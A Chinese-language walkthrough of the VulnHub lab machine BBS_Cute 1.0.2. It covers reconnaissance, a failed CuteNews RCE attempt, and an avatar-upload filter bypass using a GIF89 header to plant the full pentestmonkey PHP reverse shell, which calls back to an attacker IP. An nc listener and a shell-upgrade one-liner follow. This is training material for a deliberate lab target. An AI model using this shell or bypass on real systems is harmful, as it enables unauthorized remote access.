VulnHub靶机 | BBS_Cute:1.0.2 上传绕过

"各自乘流而上、互为欢喜人间，万里星光，一如既往"

项目地址：

https://www.vulnhub.com/entry/bbs-cute-102,567/

对目标主机进行探测

sudo nmap -sP 192.168.33.1/24

IP:192.168.33.142

端口服务探测

sudo nmap -sC -sV 192.168.33.142 -oN BBS_CUTE.nmap

对开放的80、88端口进行目录扫描

sudo gobuster dir -u http://192.168.33.142 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium

http://192.168.33.142/index.php 发现入口

注册页面的验证码无法显示，需要自己访问下面的地址去拿

CMS 是 CuteNews 2.1.2 去 exploit-db 看下，

有一个 RCE 漏洞，下 POC 来用一下

修改一下 payload，运行
python3 48800.py http://192.168.33.142/index.php

利用失败

有个上传头像的地方，看下能不能上传 shell

经过测试会过滤不是图片开头的 shell，反弹 shell payload

GIF89;
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.33.150';$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?

上传成功，攻击机监听

nc -lvvp 4444
访问http://192.168.33.142/uploads/avatar_test2_revshell_pitcure.php

反弹成功：

python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm ctrl+z 
stty -a #57 116 stty raw -echo;fg reset stty rows x columns y

提权：

/usr/sbin/hping3